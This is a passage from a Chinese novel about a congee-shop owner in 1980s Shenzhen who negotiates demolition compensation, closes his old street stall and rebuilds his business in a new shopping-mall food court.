“回迁?”周明远摇头,“难。这种商业中心,一层都是大铺面,最小也一百平米。你拿什么租?”
一百平米。陈永福想象不出一百平米的铺面有多大。他的粥铺十平米,已经觉得够用了。一百平米,那得摆多少桌子?得熬多少锅粥?
“就没有别的办法?”
“有。”周明远压低声音,“你可以做钉子户。就是不搬,跟他们耗。耗到最后,他们可能会提高补偿。但风险也大,他们手段多,断水断电是轻的,重的可能来硬的。”
陈永福心里一紧。断水断电,粥铺还怎么开?
“周经理,你说我该怎么办?”
周明远沉默了一会儿,烟抽了大半支。
“陈老板,我说句实话。深圳发展快,这种拆迁以后会越来越多。你今天不搬,明天可能也要搬。城市要建设,旧的要让位给新的。这是大势,个人挡不住。”
大势。陈永福想起国贸大厦工地围挡上那四个字:深圳速度。三天一层楼,那是大势。他这个小粥铺,在大势面前,就像老榕树上的一片叶子,风一吹就动了。
“我再想想。”
“尽快想。”周明远站起身,“昌盛公司的人这几天还会来,可能要挨家挨户谈。你先别答应,但也别硬顶。看看街坊们的态度,大家一起,力量大些。”
周明远走了。陈永福坐在老榕树下,看着街上来往的人。卖水果的阿婆推着车走过,修鞋的老刘正在收摊,杂货铺的老李在门口抽烟。这些人,这些铺子,都要没了吗?
老唐下夜班回来,看见他坐在那里,走过来。
“想拆迁的事?”
“嗯。”
“别想太多,该来的总会来。”老唐在他旁边坐下,“我活了大半辈子,明白一个道理:人算不如天算。你想得好好的,老天爷一个弯,就全变了。”
“那就不想了?”
“想还是要想,但别钻牛角尖。”老唐掏出烟,递给他一支,“就像这烟,抽一口,吐出来,就散了。事也一样,该咋样就咋样。”
两人坐在树下抽烟。烟雾袅袅上升,混在夜色里,慢慢散了。
陈永福忽然觉得,老唐说得对。该来的总会来,担心也没用。他现在要做的,是把每一天的粥熬好,把每一个客人照顾好。至于以后,以后再说。
那天晚上,他睡得很好。梦里没有拆迁,没有香港老板,只有一锅咕嘟咕嘟冒泡的粥,和树下坐满的客人。
醒来时天还没亮。他像往常一样起床,挑水,生火,熬粥。
米粒在滚水里翻滚,慢慢开花,慢慢稠厚。粥香弥漫开来,飘出铺面,飘到老街上。
第一缕阳光照进来时,陈永福站在灶台前,用长勺慢慢搅着锅里的粥。粥很稠,勺子搅过时留下深深的痕迹,但很快又被米浆填平。
就像生活,不管遇到什么坑,总要被填平。日子总要过下去,粥总要熬下去。
他抬头看看窗外,老榕树在晨光里静静立着。叶子有些黄了,但还茂盛。风吹过,沙沙响,像是在说话。
陈永福听懂了。树在说:我在这儿几十年了,见过风,见过雨,见过人来人往。我还在这儿,还会在这儿。
他点点头,继续搅粥。
5. 抉择
香港人第三次来的时候,不是一个人。
他带了四五个人,有穿西装的,有穿中山装的,还有个夹着公文包戴眼镜的年轻人。一行人站在老街口,指指点点,拿图纸比划。街坊们远远看着,小声议论。
陈永福正在灶台前熬粥,林玉兰用胳膊肘碰碰他:“来了。”
他抬头看过去,心里一沉。该来的还是来了。
那群人从街口开始,挨家挨户地看。先到修自行车的王师傅那儿,说了几句,王师傅摇摇头。又到杂货铺老李那儿,老李听着,没表态。最后走到粥铺前。
“陈老板,又见面了。”香港人微笑着,递上名片,这次是正式的,“鄙姓吴,吴国栋,昌盛地产开发公司副总经理。”
陈永福在围裙上擦擦手,接过名片。名片很精致,烫金边,摸着光滑。
“吴经理。”
“陈老板,方便聊几句吗?”吴国栋看了看店里坐着的客人。
陈永福点头,领他们到老榕树下。黄秀英赶紧搬来几个凳子。吴国栋坐下,其他人站着。
“陈老板,明人不说暗话。我们公司打算开发这片街区,建一个现代化的商业中心。你的铺子,在规划范围内。”
陈永福没说话,等着下文。
“按照政策,我们会给予合理补偿。”吴国栋从公文包里拿出几页纸,“这是初步评估,你的铺面十平米,临街,评估价八千元。”
八千。不是传闻中的一万,但也不少。
“另外,我们会提供三个月的过渡期补贴,每月一百元。”吴国栋继续说,“新商业中心建成后,你享有优先租赁权。当然,租金要按市场价。”
陈永福看着那几页纸,上面密密麻麻的字,他看不太懂。只看到几个数字:8000,300,还有百分比符号。
“吴经理,如果我不要钱,想要铺面呢?”
吴国栋笑了笑:“陈老板,新商业中心都是大铺面,最小的也有八十平米。就算给你优惠价,租金你也承担不起。”
“那……回迁呢?就是新楼盖好了,我还回这里。”
“这里?”吴国栋环顾四周,“这里会变成商场中庭,没有临街铺面了。”
陈永福心里堵得慌。他看看自己的粥铺,虽然小,虽然旧,但门口就是街,客人一抬眼就能看见。要是进了商场,谁知道还有没有人来喝粥?
“陈老板可以好好考虑。”吴国栋起身,“这几天我们会逐户洽谈。你可以问问街坊们的想法,大家团结一致,我们也会更重视。”
他们走了,留下那几页评估报告。陈永福拿着纸,站在树下发呆。阳光透过树叶缝隙照下来,在纸上投下斑驳的光影。
老唐不知什么时候走过来,拿过那几页纸看了看。
“八千,算厚道了。我楼上那间房,二十平米,评估才九千。”
“老唐,你打算怎么办?”
“我?”老唐把纸还给他,“我一个老头子,给钱我就拿,找个地方养老。但我理解你,你这铺子刚做起来,舍不得正常。”
下午,街坊们自发聚到粥铺门口。王师傅,老李,卖水果的阿婆,修鞋的老刘,还有几个住户。大家围坐在老榕树下,商量这事。
王师傅先开口:“他们给我评估六千,我那是十五平米。我觉得低了,我那位置好,正对街口。”
老李说:“我的是八千五,我打算要一万。”
“一万他们要是不给呢?”
“不给就不搬,看谁耗得过谁。”
卖水果的阿婆愁眉苦脸:“我一没铺面二没房产,就推个车卖水果。他们说我是流动摊贩,不在补偿范围内。那我以后去哪卖?”
这话让大家沉默了。是啊,这条街不只固定商铺,还有靠街吃饭的小贩,租房的住户,打零工的散工。他们怎么办?
陈永福想了想,说:“要不,我们提个条件:不仅要补偿商铺,还要安排摊贩的位置,给住户找过渡房。”
“他们会答应吗?”
“不答应就都不签。”王师傅一拍大腿,“团结就是力量。”
“对,团结!”
大家情绪高涨起来。但陈永福心里清楚,团结说起来容易,做起来难。每个人情况不同,想法也不同。真到了签字拿钱的时候,难保没人先动摇。
果然,第二天就出了事。
杂货铺老李偷偷去找了昌盛公司的人,回来说人家答应给他九千。街坊们知道后,都骂他叛徒。老李脸红脖子粗:“我儿子要结婚,急用钱!你们站着说话不腰疼!”
王师傅气得直跺脚:“老李啊老李,你这一搞,我们还怎么谈价?”
“你们谈你们的,我拿我的钱,互不干涉。”
话是这么说,但缺口一开,就难堵了。昌盛公司的人抓住这点,对其他街坊说:“李老板已经签了,你们拖下去也没用。早点签,还能早点拿钱。”
人心开始浮动。
林玉兰问陈永福:“我们要不要也去谈谈?”
“谈什么?”
“加点价。八千确实少了点,至少要一万。”
陈永福摇头:“不是钱的问题。”
“那是什么问题?”
陈永福说不清楚。他走到铺面门口,看着老榕树。这棵树陪了他半年,每天清晨在树下生火,中午在树下乘凉,晚上在树下收拾。树上有他钉的钉子,挂招牌的;树下有他摆的桌椅,坐过无数客人。这些,钱能买到吗?
黄秀英小声说:“老板,要是真拆了,我们去哪?”
这是个现实问题。黄秀英跟着他们半年,已经把这里当作家。要是粥铺没了,她怎么办?回制衣厂?还是另找工作?
“你放心,不管去哪,都带着你。”陈永福说。
这话让黄秀英眼睛红了:“我不是怕没工作,我是舍不得这里。”
陈永福心里一酸。是啊,舍不得。连来半年的秀英都舍不得,他这亲手建起铺子的人,怎么舍得?
那天晚上,他翻来覆去睡不着。林玉兰也没睡,两人在黑暗里躺着,都不说话。
最后林玉兰轻声说:“要不,我们回老家吧。八千块在老家能盖很好的房子,还能剩点做小生意。”
“回老家……”陈永福重复这三个字。
半年多前,他带着妻儿离开老家时,心里想的是闯出一片天。现在有了点起色,却要回去。乡亲们会怎么说?会说他在深圳混不下去,灰溜溜回来了。
“让我再想想。”
接下来的几天,昌盛公司的人天天来老街。他们带着合同,挨家挨户地谈。有人签了,拿了定金,开始收拾东西。有人还在坚持,但明显底气不足。
粥铺的生意也受了影响。客人们听说要拆迁,来得少了。有的熟客喝粥时会问:“陈老板,真要拆啊?”
“可能吧。”
“那以后去哪喝你的粥?”
“还不知道。”
客人叹气:“喝惯了你这儿的粥,别处的喝不惯。”
这话让陈永福既欣慰又心酸。他的粥有人惦记,这是对他手艺的肯定。可这手艺,以后可能没地方施展了。
一天下午,周明远来了。他看起来很忙,但还是抽空来了趟。
“陈老板,听说你还没签?”
“没。”
“聪明。”周明远压低声音,“我打听过了,昌盛公司这次预算很足,八千只是起价。你要是坚持,能要到一万二。”
“一万二?”
“对。但你要沉得住气,别先松口。”
陈永福犹豫了。一万二,确实不少。有了这笔钱,他可以重新找个铺面,或者回老家做点生意。可是……
“周经理,你说我该要钱,还是要铺子?”
周明远看了他一眼:“陈老板,我说句实话。钱是实的,铺子是虚的。新商业中心要建两年,两年后什么行情,谁也不知道。你现在拿钱,实实在在。等两年后,可能物价都涨了,钱也不值钱了。”
“可是我就想要个铺子,继续熬粥。”
“那你可以拿钱去别处租铺子啊。”周明远说,“老街又不是只有这一条。东门那边,上步那边,都有铺面出租。一万二,够你租好几年了。”
这话点醒了陈永福。是啊,为什么非要在这里?深圳这么大,哪里不能熬粥?
“让我再想想。”
周明远走后,陈永福把这个想法跟林玉兰说了。林玉兰想了想,说:“那我们去看看别的铺面?”
“行,明天就去。”
第二天,他们关了半天的门,去东门找铺面。东门确实热闹,铺面也多,但租金贵。一间二十平米的铺面,月租要一百五,还要押三付一,一次要交六百。
“太贵了。”林玉兰摇头。
又去上步。上步正在开发,工地多,铺面少。好不容易找到一间,位置偏,月租八十。但周围都是工地,工人多,倒是适合做粥铺。
“这里行吗?”陈永福问。
林玉兰看看周围:“太荒了,连棵树都没有。”
确实,这里光秃秃的,都是工地和临时建筑。没有老街的烟火气,没有老榕树的阴凉。
“再看看。”
又看了几处,都不满意。不是租金贵,就是位置偏,要么就是铺面太小。看来看去,竟觉得还是老街的铺子好。虽然旧,虽然小,但位置正,人气旺,还有棵老树。
回到老街,天已经黑了。老唐在粥铺门口等他们。
“去哪了?”
“看铺面。”
“怎么样?”
陈永福摇头:“都不如这里。”
老唐叹口气:“正常。自己待惯的地方,怎么看怎么好。”
三人坐在树下。老唐掏出烟,分给陈永福一支。火柴划亮的一瞬间,陈永福看见老唐脸上的皱纹,深深的,像刀刻的。
“老唐,你说我该不该签?”
“我说了不算,得你自己定。”老唐吐了口烟,“但我告诉你一件事。三十年前,我来深圳时,这里还叫宝安县。我从惠州走路过来,走了两天。那时候这里都是田,都是山。我站在现在的罗湖火车站那里,往前看是水田,往后看还是水田。”
陈永福静静听着。
“后来变了。”老唐继续说,“田没了,盖了房子。山平了,修了路。我来的时候二十岁,现在五十了。三十年,我看着深圳从一个县变成一个市,又变成一个特区。我看着老街从土路变成石板路,看着平房变成楼房。”
烟头在黑暗里一明一灭。
“变是常态,不变才奇怪。”老唐说,“你今天舍不得这个铺子,明天可能舍不得那个铺子。总有一天你会发现,什么都留不住。能留住的,只有手艺,只有记忆。”
手艺。陈永福想起自己熬粥的手艺。从米和水的比例,到火候的掌控,到下料的时机。这手艺是在这个铺子里练出来的,但换了个地方,手艺还在。
“我明白了。”他说。
第二天,昌盛公司的人又来了。这次陈永福主动找他们谈。
“吴经理,我要一万二。”
吴国栋愣了一下,随即笑了:“陈老板,这个价高了。”
“不高。”陈永福说,“我的铺子虽然小,但位置好,生意好。拆了,我失去的不仅是铺子,还有半年来积累的客源。这些,值四千块。”
吴国栋沉吟片刻:“一万,不能再多了。”
“一万二,少一分不签。”陈永福很坚持,“另外,我要你们保证,在新商业中心给我留一个摊位,位置要好,租金要优惠。”
“摊位可以,但租金要按市场价。”
“那不行。我的铺子没了,生意断了,重新开始需要时间。头三年,租金要减半。”
吴国栋和同事商量了一会儿,最后说:“一万,加一个摊位,头两年租金八折。这是底线。”
陈永福看向林玉兰。林玉兰点点头。
“成交。”
合同很厚,有十几页。陈永福看不太懂,但周明远答应帮他看。他先签了意向书,拿了五千定金。剩下的五千,等搬走时付清。
拿着厚厚一沓钱,陈永福手有点抖。一百元一张的“大团结”,五十张。他这辈子没见过这么多钱。
回到粥铺,他把钱放在桌上。林玉兰,黄秀英,□□,都围着看。灯下,钞票泛着特有的光泽,油墨味淡淡地飘出来。
“这么多钱……”黄秀英喃喃道。
□□伸手想摸,被林玉兰轻轻拍开:“别碰,脏。”
陈永福数出十张,递给黄秀英:“秀英,这是你这几个月的工资,还有奖金。”
黄秀英连连摆手:“老板,不用这么多……”
“拿着。”陈永福塞给她,“你跟着我们吃苦,应该的。”
黄秀英接过钱,眼泪掉下来。
又数出十张,陈永福说:“这些寄回老家,给父母,也给弟弟娶亲用。”
林玉兰点头:“该的。”
剩下的三千,他打算存起来。等新商业中心的摊位定了,要用钱的地方还多。
签了合同,心反而定了。既然决定了,就不再多想。陈永福开始计划接下来的事:粥铺还能开两个月,两个月后要搬
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。新摊位要装修,要买新设备,要重新招揽客人。
他算了算时间,现在是十一月中,到一月中搬。正好过了元旦,春节前能安顿下来。
消息传开,街坊们反应不一。王师傅说他也要加价,老李后悔签早了,卖水果的阿婆还在愁去哪摆摊。
陈永福对阿婆说:“阿婆,新商业中心有摊位,你要不要去?”
“我哪有钱租摊位。”
“我帮你问问,看能不能安排个便宜的位置。”
阿婆拉着他的手:“陈老板,你是个好人。”
陈永福笑笑。好人不好人他不知道,他只是做了能做的事。
生活继续。粥铺照常开门,照常熬粥,照常有客人来。只是大家都知道了要拆迁的事,喝粥时多了些感慨。
“陈老板,以后去哪找你啊?”
“新商业中心,到时候告诉大家。”
“那地方贵不贵?”
“应该不贵,我做的是平民生意。”
客人点点头:“那就好,还能喝到你的粥。”
一天,来了个老客人,是以前常来的建筑工人,姓赵。他说工地完工了,他们队要去珠海,今天是来告别的。
“陈老板,谢谢你这几个月的粥。工地上累,能喝到一碗热粥,心里暖和。”
陈永福给他盛了满满一碗,多加肉:“一路顺风。”
“你也顺风。新地方生意兴隆。”
这样的告别多了起来。有工人转场去别的工地,有摊贩找到新地方,有住户准备回老家。老街在慢慢变化,虽然楼还没拆,但人心已经开始散了。
陈永福看着这些熟悉的面孔一个个离开,心里不是滋味。但他知道,这就是深圳。人来人往,聚散无常。今天在这里喝粥的人,明天可能就在另一个城市。今天还热热闹闹的铺子,明天可能就人去楼空。
他能做的,就是把今天的粥熬好,让每个离开的人,带着温暖离开。
十二月初,下了一场雨。雨不大,但绵绵的,下了两天。老街湿漉漉的,石板路泛着青黑色的光。老榕树的叶子被洗得发亮,雨水顺着叶尖滴下来,嘀嗒嘀嗒。
雨后,来了个意想不到的人。
是周淑芬。
她瘦了很多,也黑了很多,但眼睛亮亮的。手里牵着个男孩,七八岁的样子,正是照片上那个。
“陈老板!”她老远就喊。
陈永福从铺面里出来,看见她,愣住了。林玉兰和黄秀英也跑出来。
“周老师!孩子……找到了?”
“找到了!”周淑芬把男孩往前推,“快,叫叔叔阿姨。”
男孩怯生生地叫:“叔叔好,阿姨好。”
林玉英一把抱住孩子,眼泪掉下来:“找到了就好,找到了就好。”
原来周淑芬在广州找了半个月,没找到。后来听人说可能去了佛山,又去佛山找。在佛山救助站,终于找到了。孩子被人贩子带到佛山,跑出来后流浪了几天,被救助站收留。
“多亏了你们给我的钱,还有那些照片。”周淑芬说,“救助站的人一看照片,就认出来了。”
“回来就好,回来就好。”陈永福说,“快进屋,喝碗热粥。”
周淑芬和孩子在粥铺住了两天。孩子叫周小军,很乖,不闹。□□带着他玩,两个孩子很快成了朋友。
周淑芬说,她不打算回老家了,想在深圳找个工作,带孩子在这里生活。
“深圳教育好,机会多。我想让小军在这里上学。”
“那你有地方住吗?”
“先租个房子,再找工作。我有教师证,应该能找到学校代课。”
陈永福想了想,说:“新商业中心我有摊位,需要人手。你要是不嫌弃,可以来帮忙。工资可能不高,但稳定。”
周淑芬眼睛亮了:“真的?”
“真的。不过要等两个月,现在这里还没拆。”
“我等!两个月没问题。”
送走周淑芬母子那天,阳光很好。陈永福看着他们坐上车,心里暖暖的。虽然自己的铺子要没了,但帮人找到了孩子,这比什么都值。
日子一天天过去,离搬走的日子越来越近。陈永福开始收拾东西。锅碗瓢盆,桌椅板凳,都要打包。有些东西旧了,坏了,但他舍不得扔。那个铁皮饼干盒,装过粮票,装过贷款,装过第一笔收入,他要留着。那块手写的招牌,“家香粥铺”四个字已经褪色了,他也要留着。
黄秀英问:“老板,新摊位还要叫家香粥铺吗?”
“要,当然要。”陈永福说,“名字不变,味道不变。”
“那树呢?没有树了。”
陈永福看向老榕树。树还在那里,静静地立着。他不知道这棵树会不会被砍,但即使砍了,树还在他心里。
“树在心里。”他说。
元旦那天,粥铺最后一天营业。
陈永福多熬了几锅粥,免费请街坊们喝。王师傅来了,老李来了,卖水果的阿婆来了,修鞋的老刘来了,还有那些熟悉的客人,能来的都来了。
老榕树下坐满了人,大家端着碗,喝着粥,说着话。说起老街的过去,说起各自的老家,说起对未来的打算。
王师傅说要去宝安开修车铺,老李说要回老家养老,阿婆说儿子接她去东莞。每个人都有自己的路要走。
老唐也来了,他喝了两碗粥,说:“陈老板,以后喝不到你的粥了。”
“能喝到,新地方开张,你来,我请你。”
“一定来。”
夕阳西下时,人慢慢散了。陈永福站在铺面门口,看着空荡荡的桌椅,看着灶台上那口大锅,看着墙上的价目表。
半年,像一场梦。
林玉兰走过来,轻轻握住他的手。
“明天就搬了。”
“嗯。”
“舍不得?”
“舍不得。”
“我也舍不得。”林玉兰靠在他肩上,“但我们会好的,对吗?”
“对,会好的。”
夜幕降临,老街亮起零星的灯火。远处工地的探照灯划破夜空,像一道光剑,指向未知的远方。
陈永福最后看了一眼他的粥铺,锁上门。
钥匙在锁孔里转动,发出清脆的咔哒声。这声音,他听了半年。明天,就不会再听了。
但他知道,明天会有新的门,新的锁,新的开始。
深圳的夜,依然有火车的汽笛声,有工地的轰鸣声,有这座年轻城市永不疲倦的脉搏。
而他和他的粥铺,会继续在这脉搏里,找到自己的节奏。
6. 新地
新商业中心叫“罗湖商城”,名字是烫金的大字,镶在玻璃幕墙上,太阳一照,晃得人眼花。
陈永福的摊位在三楼,美食区最里面的角落。说是摊位,其实是个开放式的小档口,三面玻璃墙,一面操作台。面积比老街的铺面大,有十五平米,但租金贵得吓人——月租一百五,头两年八折,也要一百二。
装修花了他三百块。操作台贴了白色瓷砖,墙上钉了不锈钢架子,天花板上装了日光灯。灯光很亮,照得一切都清清楚楚,连瓷砖缝里的水泥渍都看得见。
但没有窗户,没有树,只有中央空调呼呼的风声,和隔壁档口油炸食物的味道。
搬进来的第一天,陈永福站在档口里,有点不知所措。太干净了,太亮了,也太安静了。不像老街,有街坊打招呼的声音,有自行车铃声,有老榕树的沙沙声。
林玉兰在擦操作台,已经擦了第三遍。黄秀英在摆餐具,新的白瓷碗,摞得整整齐齐。□□趴在玻璃墙上往外看,外面是美食区的大堂,一排排塑料桌椅,空空荡荡。
“阿爸,这里好大。”孩子说。
“嗯,大。”
“可是没人。”
“会有的。”
中午,商场正式开业。鞭炮声从楼下传来,噼里啪啦响了很久。接着是人声,脚步声,很多人涌进来。美食区渐渐热闹起来,各家档口开始叫卖。
“烧鹅饭!新鲜烧鹅饭!”
“云吞面!正宗香港云吞面!”
“麻辣烫!四川麻辣烫!”
声音混杂在一起,嗡嗡的。陈永福站在档口前,想喊,却张不开嘴。他习惯了客人自己找上门,不习惯叫卖。
一个年轻人在档口前停下,看了看招牌:“家香粥铺?是老街那家吗?”
“是,是。”陈永福赶紧说,“您是老街的客人?”
“以前去喝过。搬这里来了?”年轻人探头看看,“粥还是那个价吗?”
“涨了一点点。白粥一毛五,肉粥两毛,皮蛋粥两毛五。”
“哦。”年轻人犹豫了一下,“来碗肉粥吧。”
第一单生意。
陈永福盛粥,林玉兰收钱,黄秀英端给客人。流程和以前一样,但环境不一样了。客人坐在大堂的塑料椅上,周围是其他档口的客人,吵吵嚷嚷的。
年轻人很快吃完,走了。没说话,没评价。
下午,陆陆续续来了几个客人,有老街的熟客,也有新面孔。但比起其他档口排队的场景,粥铺的生意显得冷清。
隔壁是卖烧腊的,老板是个胖胖的香港人,说话嗓门大。他见陈永福这边人少,走过来递了支烟。
“陈老板?我姓何。”
“何老板。”陈永福接过烟。
“新来?”何老板看看粥铺的招牌,“做粥生意好啊,清淡,健康。”
“马马虎虎。”
“刚开始都这样。”何老板指指自己的档口,“我第一天,只卖了十份饭。现在一天能卖两百份。关键是位置,还有味道。”
位置。陈永福的档口在最里面,要走到头才能看见。很多人走到一半就被其他档口截住了。
“要不要搞点促销?”何老板建议,“开业特价,买一送一。”
“那不得亏本?”
“先拉客嘛。客人来了,觉得好吃,下次还会来。”
陈永福想了想,没马上答应。他做的是小本生意,经不起折腾。
晚上盘点,卖了二十三碗粥,收入四块六毛。扣掉租金水电,亏了。
林玉兰数完钱,没说话。黄秀英小声说:“明天会不会好点?”
“会吧。”陈永福说,但心里没底。
第二天,他起了个大早去市场。商场六点开门,他五点半就到档口,开始熬粥。粥的香味在美食区弥漫开,但六点半才有第一个客人——是个清洁工,要了碗白粥,坐在角落吃。
七点以后,人渐渐多起来。上班族来买早餐,匆匆忙忙的。他们大多选择包子、油条、豆浆,方便带走。粥要用碗盛,要坐下来吃,太费时间。
陈永福想了想,去买了些一次性塑料碗。虽然成本高点,但方便客人带走。
“粥可以打包了!”他写了张纸条贴在玻璃上。
果然,打包的客人多了些。但比起其他档口排队买饭的场景,还是差得远。
中午,周淑芬来了。她带着儿子周小军,在档口前看了看。
“陈老板,开张了?”
“周老师!快进来坐。”
周淑芬要了两碗粥,坐在大堂里慢慢吃。吃完后,她没走,帮林玉兰收拾碗筷。
“周老师,不用你忙。”
“没事,我反正闲着。”周淑芬说,“小军上学的事办好了,在罗湖小学。上午送他上学,下午接他放学,中间这段时间没事做。”
陈永福心里一动:“周老师,你要不要来帮忙?按小时算工钱。”
周淑芬想了想:“行。我不要工钱,管顿饭就行。”
“那怎么行,该给还是要给。”
最后说定,周淑芬每天上午九点到下午三点来帮忙,一个月二十块,包午饭。
多了个帮手,林玉兰轻松了些。周淑芬有文化,会算账,还会招呼客人。她站在档口前,看见犹豫的客人,会主动介绍:“我们家粥熬得稠,米香,您试试?”
她的普通话标准,笑容温和,不少客人被她一说,真的来试试。
但生意还是不见起色。一天下来,最多卖四五十碗,刚够保本。
陈永福开始着急了。一百二的月租像块石头压在心上。还有水电费,管理费,加起来一个月要一百五。每天至少要卖八十碗,才能不亏。
可八十碗,谈何容易。
一天晚上打烊后,他没回家——现在他们租住在商场附近的一个小区里,两室一厅,月租六十。房子比老街的棚屋好,有厕所,有厨房,但离商场远,上下班要走二十分钟。
他留在档口,坐在空荡荡的大堂里。日光灯已经关了,只有安全通道的绿灯亮着,幽幽的绿光。
脚步声响起。是何老板,他也没走。
“陈老板,还不回去?”
“坐会儿。”
何老板在他旁边坐下,递给他一支烟。两人在黑暗里抽烟,烟头一明一灭。
“生意不好?”何老板问。
“嗯。”
“正常。美食区二十多家档口,竞争激烈。你要有自己的特色。”
“我粥熬得好。”
“是,但别人不知道。”何老板弹弹烟灰,“你要让人知道。搞试吃,搞优惠,搞宣传。”
“怎么搞?”
“明天是周末,人流量大。你熬一锅粥,分成小碗,免费给人试吃。觉得好吃,自然来买。”
陈永福想了想,这倒是个办法。只是要白送,心疼。
“舍不得孩子套不着狼。”何老板拍拍他的肩,“我刚开始也搞试吃,送了三天烧鹅,亏了三百块。但第四天开始,客人就排长队了。”
“真的?”
“骗你干嘛。”何老板站起身,“试试吧,不试怎么知道。”
陈永福决定试试。
第二天是周六,商场人确实多。一家三口,情侣,朋友,来来往往。陈永福熬了一大锅皮蛋瘦肉粥,分成小碗,摆在档口前。
“免费试吃!家香粥铺,老街老味道!”
他喊得有些生涩,但喊出来了。周淑芬和林玉兰也帮着招呼。
起初没人理睬。人们匆匆走过,看都不看一眼。后来有个老太太带着孙子,小孩闻着香味不肯走,老太太只好要了一小碗。
“奶奶,好喝!”孩子喝完说。
老太太自己也尝了一口,点点头:“是熬得不错。”
她买了一大碗打包。
有了第一个,就有第二个。试吃的人渐渐多起来,买粥的人也多了。到中午,粥竟然卖完了。
陈永福赶紧又熬了一锅。下午继续试吃,继续卖。
晚上盘点,卖了九十八碗,破了纪录。
“何老板的办法真管用。”林玉兰高兴地说。
“管用是管用,但试吃不能天天搞。”陈永福算账,“今天试吃了三十碗,就算成本五毛,一个月下来也要十五块。”
“那怎么办?”
陈永福没说话。他需要想个长久之计。
接下来的几天,他没再搞试吃,生意又回落了。但比之前好些,每天能卖六七十碗。
他发现,来喝粥的主要是几类人:老人,孩子,还有身体不舒服的人。年轻人很少,他们更喜欢重口味的,麻辣烫,烧腊饭。
一天,来了个女客人,三十来岁,脸色苍白。她要了碗白粥,慢慢喝。喝完后,她问:“老板,你们这粥能送吗?”
“送?”
“我住在附近小区,这几天胃不舒服,不想出门。你们能每天送一碗粥上门吗?”
陈永福想了想:“送可以,但要加五分钱送餐费。”
“行。”女人留下地址和钱,“明天中午送一碗皮蛋粥。”
送走女人,陈永福脑子里冒出个想法:外卖。
老街时,他只送工地的集体订单。现在商场里,可以送个人外卖。虽然一次只送一碗,但积少成多。
他写了张告示贴在玻璃上:“本店提供送餐服务,一公里内加五分,两公里内加一毛。”
告示贴出去当天,就有三个客人要求送餐。都是附近的住户,有的生病,有的懒得下楼。
黄秀英主动说:“老板,我去送。”
“你一个人送不过来。”
“我送近的,远的可以等下午人少时送。”
陈永福想了想,买了辆二手自行车,花了四十块。黄秀英骑着车送餐,速度快多了。
外卖业务慢慢做起来。虽然每次只送一两碗,但一个月下来,也能多卖两三百碗。更重要的是,这些客人成了固定客源,几乎天天订。
一天,黄秀英送餐回来,脸上带着笑。
“老板,我刚才送餐时,看到隔壁写字楼有很多上班族。他们中午吃饭要排队,很多人嫌麻烦。我们要不要也送写字楼?”
“写字楼?那得送很多份才行。”
“可以先试试。我认识那栋楼的一个保安,他说可以帮我们宣传。”
陈永福觉得可以试试。他印了些简单的菜单,白粥、肉粥、皮蛋粥、鱼片粥,价格和店里一样,加收一毛送餐费。十份起送。
菜单发出去三天,接到了第一单:十二份皮蛋粥,中午十二点送到写字楼十楼的一家贸易公司。
那天中午,陈永福提前熬好了粥,装在保温桶里。黄秀英和周淑芬一起去送。十二份粥,收了四块八,除去成本,赚了两块。
更重要的是,那家公司的人喝了粥,觉得不错,说以后每周订三次。
写字楼业务打开了。虽然不像工地订单那样稳定,但零散的单子加起来也不少。陈永福又招了个送餐的,是个江西来的小伙子,叫小张,十七岁,刚来深圳,还没找到工作。管吃住,一个月二十五块。
档口的人手多了,但地方显得挤了。十五平米,四个人在里面转,有时候会撞到。
何老板看见了,说:“陈老板,生意做大了,该扩了。”
“往哪扩?”
“我隔壁那家做不下去了,要转让。二十平米,月租两百。你要不要?”
两百。陈永福倒吸一口凉气。他现在月租一百二,已经觉得吃力。两百,得卖多少碗粥?
“考虑考虑。”何老板说,“机会不等人。”
陈永福真考虑了。连着三天,他都在算账。现在档口每天卖一百碗左右,加上外卖,一天能卖一百五十碗。收入三十块,成本十五块,净赚十五块。一个月四百五。扣掉租金一百二,人工一百(黄秀英三十,小张二十五,周淑芬二十,他自己不算),水电管理费五十,剩一百八。
如果扩到二十平米,月租两百,人工可能还要加,成本更高。至少要每天卖两百五十碗,才能维持现在的利润。
两百五十碗,可能吗?
他观察了美食区其他档口。生意最好的烧腊档,一天能卖三百份饭。其次是麻辣烫,一天两百多份。粥铺要想卖到两百五十碗,除非有特别大的突破。
但突破在哪?
一天晚上,小张送餐回来,说:“老板,今天送餐时,有个客人问,有没有海鲜粥。”
“海鲜粥?”
“嗯,他说在广东喝过海鲜粥,里面有虾,有蟹,很好喝。问我们能不能做。”
陈永福没做过海鲜粥。潮汕粥以清淡为主,海鲜粥是广州那边的做法。但他觉得可以试试。
第二天,他去市场买了些虾和螃蟹。虾是基围虾,活蹦乱跳的,一斤两块五。螃蟹是花蟹,便宜些,一斤一块八。
回到档口,他试着做。先熬白粥底,等粥熬到七分熟,放入处理好的虾和蟹块,加姜丝,煮到虾变红,蟹壳变橙。最后撒葱花,点几滴香油。
第一锅出来,他自己尝了一口。鲜,真鲜。虾的甜,蟹的鲜,都融进粥里了。但成本也高,一碗海鲜粥,光海鲜成本就要三毛,卖五毛一碗才有点赚头。
五毛,在美食区算高价了。一份烧鹅饭才六毛。
他犹豫要不要推。周淑芬尝了一口,说:“好喝,值五毛。”
林玉兰也尝了:“是好,但怕没人买。”
“先试试。”陈永福决定,“熬一小锅,看看反应。”
他熬了十碗的量,在档口前摆了块牌子:“新品海鲜粥,试卖价四毛五。”
中午,一个穿西装的男人在牌子前停下。他看看牌子,又看看锅里的粥。
“海鲜粥?正宗的?”
“您尝尝。”陈永福盛了一小碗给他。
男人尝了一口,眼睛亮了:“不错,鲜。来一碗。”
他端着粥坐在大堂里,慢慢喝。喝完,又过来:“老板,再打包两碗,我带回去给同事尝尝。”
三碗海鲜粥,卖了一块三毛五。成本七毛五,净赚六毛。
下午,那男人的同事来了,也要海鲜粥。十碗海鲜粥很快卖完。
陈永福心里有底了。海鲜粥可以做,但只能限量,每天二十碗,卖完即止。这样既能控制成本,又能制造稀缺感。
果然,海鲜粥成了粥铺的招牌。每天中午一开卖,很快就抢完。有人甚至提前预订,怕买不到。
生意慢慢好起来。档口每天能卖一百五十碗左右,加上外卖,能到两百碗。虽然还没到两百五十碗的目标,但已经在增长。
月底算账,这个月净赚两百一十块。比上个月多了三十块。
陈永福拿着钱,想了很久。扩不扩?
